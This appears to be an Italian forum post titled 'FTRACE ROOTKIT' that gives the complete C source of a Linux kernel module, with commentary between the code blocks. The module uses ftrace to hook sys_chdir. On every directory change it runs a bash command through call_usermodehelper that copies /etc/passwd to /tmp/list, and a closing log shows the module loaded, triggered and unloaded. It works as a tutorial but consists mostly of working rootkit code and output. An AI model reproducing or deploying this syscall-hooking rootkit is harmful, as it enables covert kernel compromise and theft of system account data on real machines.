SPAGHETTI HACKER

  1. FTRACE ROOTKIT - bash
    log.00f

    Tags
    malware
    re
    By AKIRA BASHO il 29 Jan. 2023
     
    0 Comments   44 Views
    .
    99t8jGN

    ;ftrace è un tracciante interno progettato per aiutare gli sviluppatori e progettisti di sistemi a scoprire cosa sta succedendo all'interno del kernel. Può essere utilizzato per il debug o l'analisi di latenze e problemi di prestazioni che si verificano al di fuori dello spazio utente.

    #define pr_fmt(fmt) "ftrace_hook: " fmt

    ;a causa del modo in cui funziona la macro, questa riga deve comparire prima del blocco #include che altrimenti si troverebbe all'inizio del file. Definire pr_fmt() in questo modo (#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt) fa sì che tutte le stringhe stampate dal file abbiano il nome del modulo preceduto; molti sottosistemi usano una stringa letterale invece del nome del modulo (come nel nostro caso), ma l'intento è lo stesso.

    #include <linux/ftrace.h>

    ;inclusione necessaria per la libreria ftrace; una delle caratteristiche di ftrace è che ci consente di fare attach di una callback in una parte del kernel. Nello specifico, possiamo dire a ftrace di intervenire ogni volta che il registro rip contiene un certo indirizzo di memoria. Se impostiamo questo indirizzo a quello di sys_chdir (o qualsiasi altra funzione), allora possiamo fare in modo che venga eseguita un'altra funzione.

    #include <linux/kallsyms.h>
    #include <linux/kernel.h>
    #include <linux/linkage.h>
    #include <linux/module.h>
    #include <linux/slab.h>
    #include <linux/uaccess.h>
    #include <linux/version.h>
    #include <linux/kprobes.h>

    MODULE_DESCRIPTION("Example module hooking chdir via ftrace");
    MODULE_AUTHOR("bash <[email protected]>");
    MODULE_LICENSE("GPL");

    #include <linux/kmod.h>

    static char *envv[] = {
    "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
    "HOME=/",
    NULL
    };

    static char *argv[] = {
    "/bin/bash",
    "-c",
    "/bin/cat /etc/passwd > /tmp/list",
    NULL
    };

    ;definisco *envv[] e *argv[] da passare a call_usermodehelper per chiamare un eseguibile nello userspace;

    ;le variabili statiche hanno la proprietà di preservare il loro valore anche dopo che sono fuori dal loro ambito. Pertanto, le variabili statiche conservano il valore precedente del loro ambito precedente e non vengono inizializzate nuovamente nel nuovo ambito.

    ;una funzione statica in C è una funzione che ha un ambito limitato al suo file oggetto. Ciò significa che la funzione statica è visibile solo nel suo file oggetto. Una funzione può essere dichiarata come funzione statica inserendo la parola chiave static prima del nome della funzione.

    ;struct pt_regs è la struttura che contiene tutti i registri di sistema

    ;le variabili possono essere dichiarate come costanti utilizzando la parola chiave "const" prima del tipo di dati della variabile. Le variabili costanti possono essere inizializzate una sola volta. Il valore predefinito delle variabili costanti è zero.

    static asmlinkage long (*orig_chdir)(const struct pt_regs *);

    ;orig_chdir è un puntatore a una funzione e presumibilmente verrà fatto puntare alla syscall originale del chdir.

    asmlinkage int hook_chdir(const struct pt_regs *regs)
    {
    int status;

    status = call_usermodehelper(argv[0], argv, envv, UMH_NO_WAIT);
    printk(KERN_INFO "rootkit: chdir for copy /etc/passwd\n");

    orig_chdir(regs);
    return 0;
    }

    ;questa è la nuova chdir, che prima di ripassare il controllo alla chdir originale stampa info a livello kernel e prima chiama la call_usermodehelper per fare la cat del /etc/password nel file /tmp/list; call_usermodehelper : prepara e avvia un'applicazione in modalità utente

    ;il tag asmlinkage dovrebbe dire al compilatore che i parametri della funzione saranno passati attraverso lo stack; tuttavia c'è un'importante precisazione da fare: anche senza alcun __attribute__ speciale per forzare il compilatore a usare lo stack per i parametri, le chiamate di sistema nelle recenti versioni del kernel prendono ancora i parametri dallo stack indirettamente attraverso un puntatore a una struttura pt_regs (che contiene tutti i registri dello userspace salvati nello stack). Ciò si ottiene attraverso un set di macro moderatamente complesso (SYSCALL_DEFINEx) che fa tutto in modo trasparente.

    #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
    static unsigned long lookup_name(const char *name)
    {
    struct kprobe kp = {
    .symbol_name = name
    };
    unsigned long retval;

    if (register_kprobe(&kp) < 0) return 0;
    retval = (unsigned long) kp.addr;
    unregister_kprobe(&kp);
    return retval;
    }
    #else
    static unsigned long lookup_name(const char *name)
    {
    return kallsyms_lookup_name(name);
    }
    #endif

    ;a seconda della versione del kernel viene ritornato un unsigned long (un indirizzo), o utilizzando la classica kallsyms_lookup_name (restituisce l'indirizzo associato a qualsiasi simbolo nella tabella dei simboli del kernel) o attraverso le funzioni register_kprobe e unregister_kprobe.

    ;kprobes ti consente di entrare dinamicamente in qualsiasi routine del kernel e raccogliere informazioni di debug e prestazioni senza interruzioni. register_kprobe = imposta un breakpoint all'indirizzo kp->addr. Quando viene raggiunto il punto di interruzione, kprobes chiama kp->pre_handler. Dopo che l'istruzione è stata analizzata e dopo un singolo step, kprobe chiama kp->post_handler. Quindi qui stiamo cercando l'indirizzo della funzione il cui simbolo è const char *name.

    #if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0)
    #define FTRACE_OPS_FL_RECURSION FTRACE_OPS_FL_RECURSION_SAFE
    #endif

    #if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0)
    #define ftrace_regs pt_regs

    ;definisce delle costanti in caso di versioni kernel inferiori alla 5.11

    static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs)
    {
    return fregs;
    }
    #endif

    ;struct ftrace_regs {
    ; struct pt_regs regs;
    ;};

    ;in linux, la parola chiave "__always_inline" forza l'inline di una funzione e "noinline" impedisce l'inline di una funzione. Non usiamo la parola chiave "inline" perché non funziona.

    /*
    * There are two ways of preventing vicious recursive loops when hooking:
    * - detect recusion using function return address (USE_FENTRY_OFFSET = 0)
    * - avoid recusion by jumping over the ftrace call (USE_FENTRY_OFFSET = 1)
    */

    #define USE_FENTRY_OFFSET 0

    /**
    * struct ftrace_hook - describes a single hook to install
    *
    * @name: name of the function to hook
    *
    * @function: pointer to the function to execute instead
    *
    * @original: pointer to the location where to save a pointer
    * to the original function
    *
    * @address: kernel address of the function entry
    *
    * @ops: ftrace_ops state for this function hook
    *
    * The user should fill in only &name, &hook, &orig fields.
    * Other fields are considered implementation details.
    */

    struct ftrace_hook {
    const char *name;
    void *function;
    void *original;

    unsigned long address;
    struct ftrace_ops ops;
    };

    static int fh_resolve_hook_address(struct ftrace_hook *hook)
    {
    hook->address = lookup_name(hook->name);

    if (!hook->address) {
    pr_debug("unresolved symbol: %s\n", hook->name);
    return -ENOENT;
    }

    #if USE_FENTRY_OFFSET
    *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
    #else
    *((unsigned long*) hook->original) = hook->address;
    #endif

    return 0;
    }

    ;il campo .original nella struttura ftrace_hook viene impostato sull'indirizzo di memoria della chiamata di sistema denominata in .name (hook->name).

    static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
    struct ftrace_ops *ops, struct ftrace_regs *fregs)
    {
    struct pt_regs *regs = ftrace_get_regs(fregs); otteniamo i registri
    struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

    #if USE_FENTRY_OFFSET
    regs->ip = (unsigned long)hook->function;
    #else
    if (!within_module(parent_ip, THIS_MODULE))
    regs->ip = (unsigned long)hook->function;
    #endif
    }

    ;otteniamo l'indirizzo della struct ftrace_hook per la nostra funzione usando una macro container_of() e l'indirizzo della struttura ftrace_ops incorporato nella struttura ftrace_hook. Successivamente, sostituiamo il valore del registro rip nella struttura pt_regs con l'indirizzo della nostra callback. Per architetture diverse da x86_64, questo registro può avere un nome diverso (come pc o ip). L'idea di base, tuttavia, è la stessa.

    ;si noti l'identificatore notrace. Questo identificatore può essere utilizzato per contrassegnare le funzioni vietate per il trace del kernel linux con ftrace. Usando questo specificatore, puoi evitare che il sistema si blocchi se chiama accidentalmente una di queste funzioni dalla tua chiamata ftrace che è attualmente tracciata da ftrace.

    ;la chiamata ftrace viene solitamente chiamata con una prelazione disabilitata (proprio come kprobes), anche se potrebbero esserci alcune eccezioni. Ma nel nostro caso, questa limitazione non è così importante poiché dobbiamo sostituire solo otto byte del valore rip nella struttura pt_regs.

    ;poiché la funzione wrapper e l'originale vengono eseguite nello stesso contesto, entrambe le funzioni hanno le stesse restrizioni. Cosa diversa se si vuole creare un hook per un gestore di interrupt.

    ;guardando questa funzione (fh_ftrace_thunk), vediamo che tutto ciò che sta realmente facendo è impostare il registro rip in modo che punti alla funzione hook. Tutto ciò che rimane è assicurarsi che questa chiamata venga eseguita ogni volta che rip contiene l'indirizzo di sys_chdir (che è la nostra syscall del kernel); e questa cosa viene fatta da ftrace_set_filter_ip() e register_ftrace_function() nella funzione fh_install_hooks().

    /**
    * fh_install_hooks() - register and enable a single hook
    * @hook: a hook to install
    *
    * Returns: zero on success, negative error code otherwise.
    */

    int fh_install_hook(struct ftrace_hook *hook)
    {
    int err;

    err = fh_resolve_hook_address(hook);
    if (err)
    return err;

    /*
    * We're going to modify %rip register so we'll need IPMODIFY flag
    * and SAVE_REGS as its prerequisite. ftrace's anti-recursion guard
    * is useless if we change %rip so disable it with RECURSION.
    * We'll perform our own checks for trace function reentry.
    */
    hook->ops.func = fh_ftrace_thunk;
    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
    | FTRACE_OPS_FL_RECURSION
    | FTRACE_OPS_FL_IPMODIFY;

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
    if (err) {
    pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
    return err;
    }

    err = register_ftrace_function(&hook->ops);
    if (err) {
    pr_debug("register_ftrace_function() failed: %d\n", err);
    ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
    return err;
    }

    return 0;
    }

    ;ftrace_set_filter_ip() dice a ftrace di eseguire la nostra chiamata solo quando rip è l'indirizzo di sys_chdir (che era già stato salvato in hook->address precedentemente). Infine, mettiamo in moto il tutto chiamando register_ftrace_function(). A questo punto, l'hook è pronto. Come si può immaginare, quando rimuoviamo il modulo, viene chiamato fh_exit(), fh_remove_hooks() fa tutto questo al contrario.

    ;rip probabilmente verrà modificato, quindi dobbiamo avvisare ftrace di ciò impostando FTRACE_OPS_FL_IP_MODIFY. Per impostare questo flag, dobbiamo anche impostare il flag FTRACE_OPS_FL_SAVE_REGS per poter passare la struttura pt_regs della syscall originale insieme al nostro hook. Infine, dobbiamo anche disattivare la protezione dalla ricorsione incorporata in ftrace, che è la ragione del flag FTRACE_OPS_FL_RECURSION_SAFE (per impostazione predefinita questo flag è attivo, quindi ripristinarlo lo disattiva).

    ;la prima cosa che accade è chiamare fh_resolve_hook_address() sull'oggetto ftrace_hook. Questa funzione usa semplicemente kallsyms_lookup_name() (fornito da <linux/kallsyms.h>, attraverso la funzione lookup_name che utilizza kprobes in caso di versioni del kernel superiori) per trovare l'indirizzo in memoria della vera syscall, cioè sys_chdir nel nostro caso. Questo è importante perché dobbiamo salvarlo sia in modo da poterlo assegnare a orig_chdir() sia per poter ripristinare tutto il contesto originale quando il modulo viene rimosso dalla memoria. Salviamo questo indirizzo nel campo .address della struttura ftrace_hook.

    ;To trace just a specific function in this case, ftrace_set_filter_ip() can be used
    ;To enable tracing call:
    ;register_ftrace_function(&ops);
    ;To disable tracing call:
    ;unregister_ftrace_function(&ops);

    /**
    * fh_remove_hooks() - disable and unregister a single hook
    * @hook: a hook to remove
    */

    void fh_remove_hook(struct ftrace_hook *hook)
    {
    int err;

    err = unregister_ftrace_function(&hook->ops);
    if (err) {
    pr_debug("unregister_ftrace_function() failed: %d\n", err);
    }

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
    if (err) {
    pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
    }
    }

    /**
    * fh_install_hooks() - register and enable multiple hooks
    * @hooks: array of hooks to install
    * @count: number of hooks to install
    *
    * If some hooks fail to install then all hooks will be removed.
    *
    * Returns: zero on success, negative error code otherwise.
    */

    int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
    {
    int err;
    size_t i;

    for (i = 0; i < count; i++) {
    err = fh_install_hook(&hooks[i]);
    if (err)
    goto error;
    }

    return 0;

    error:
    while (i != 0) {
    fh_remove_hook(&hooks[--i]);
    }

    return err;
    }

    /**
    * fh_remove_hooks() - disable and unregister multiple hooks
    * @hooks: array of hooks to remove
    * @count: number of hooks to remove
    */

    void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
    {
    size_t i;

    for (i = 0; i < count; i++)
    fh_remove_hook(&hooks[i]);
    }

    ;una volta configurato l'array (demo_hooks[]), usiamo fh_install_hooks() per installare le funzioni hooks e fh_remove_hooks() per rimuoverle. Tutto quello che dobbiamo fare è inserirle rispettivamente nelle funzioni fh_init e fh_exit ed eseguire un piccolo controllo degli errori. fh_install_hooks() e fh_remove_hooks scorrono semplicemente l'array demo_hooks[] e chiamano fh_install_hook() e fh_remove_hook() su ciascun elemento.

    #ifndef CONFIG_X86_64
    #error Currently only x86_64 architecture is supported
    #endif

    #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
    #define PTREGS_SYSCALL_STUBS 1
    #endif

    /*
    * Tail call optimization can interfere with recursion detection based on
    * return address on the stack. Disable it to avoid machine hangups.
    */

    #if !USE_FENTRY_OFFSET
    #pragma GCC optimize("-fno-optimize-sibling-calls")
    #endif

    /*
    * x86_64 kernels have a special naming convention for syscall entry points in newer kernels.
    * That's what you end up with if an architecture has 3 (three) ABIs for system calls.
    */

    #ifdef PTREGS_SYSCALL_STUBS
    #define SYSCALL_NAME(name) ("__x64_" name)
    #else
    #define SYSCALL_NAME(name) (name)
    #endif

    #define HOOK(_name, _function, _original) \
    { \
    .name = SYSCALL_NAME(_name), \
    .function = (_function), \
    .original = (_original), \
    }

    sudo cat /proc/kallsyms | more | grep sys_chdir
    ffffffff8e6f9d40 T __x64_sys_chdir

    ;per rendere il riempimento della struttura ftrace_hook un po' più rapido e semplice, abbiamo la macro HOOK; La macro SYSCALL_NAME si occupa del fatto che, nei kernel a 64 bit, le chiamate di sistema hanno __x64_ anteposto ai loro nomi.

    static struct ftrace_hook demo_hooks[] = {
    HOOK("sys_chdir", hook_chdir, &orig_chdir),
    };

    ;la macro HOOK richiede il nome della chiamata di sistema o della funzione del kernel che stiamo prendendo di mira (nel nostro caso sys_chdir), la funzione hook che abbiamo scritto (hook_chdir) e l'indirizzo di dove vogliamo salvare la chiamata di sistema originale (orig_chdir). Si noti che demo_hooks[] può contenere più di un semplice hook di funzione per rootkit più complicati, che hanno più funzionalità.

    static int fh_init(void)
    {
    int err;

    err = fh_install_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));
    if (err)
    return err;

    pr_info("module loaded\n");

    return 0;
    }

    module_init(fh_init);

    static void fh_exit(void)
    {
    fh_remove_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));

    pr_info("module unloaded\n");
    }

    module_exit(fh_exit);

    # cat /tmp/list
    cat: /tmp/list: File o directory non esistente
    # insmod rootkitbz.ko
    # dmesg
    [ 4441.667568] ftrace_hook: module loaded
    # cd .
    # cat /tmp/list
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    ...
    # dmesg
    [ 4495.565895] rootkit: chdir for copy /etc/passwd
    # rmmod rootkitbz.ko
    [ 4563.385962] ftrace_hook: module unloaded


    Edited by Dr. Pepper - 3/12/2023, 14:00
      Share  
     
    .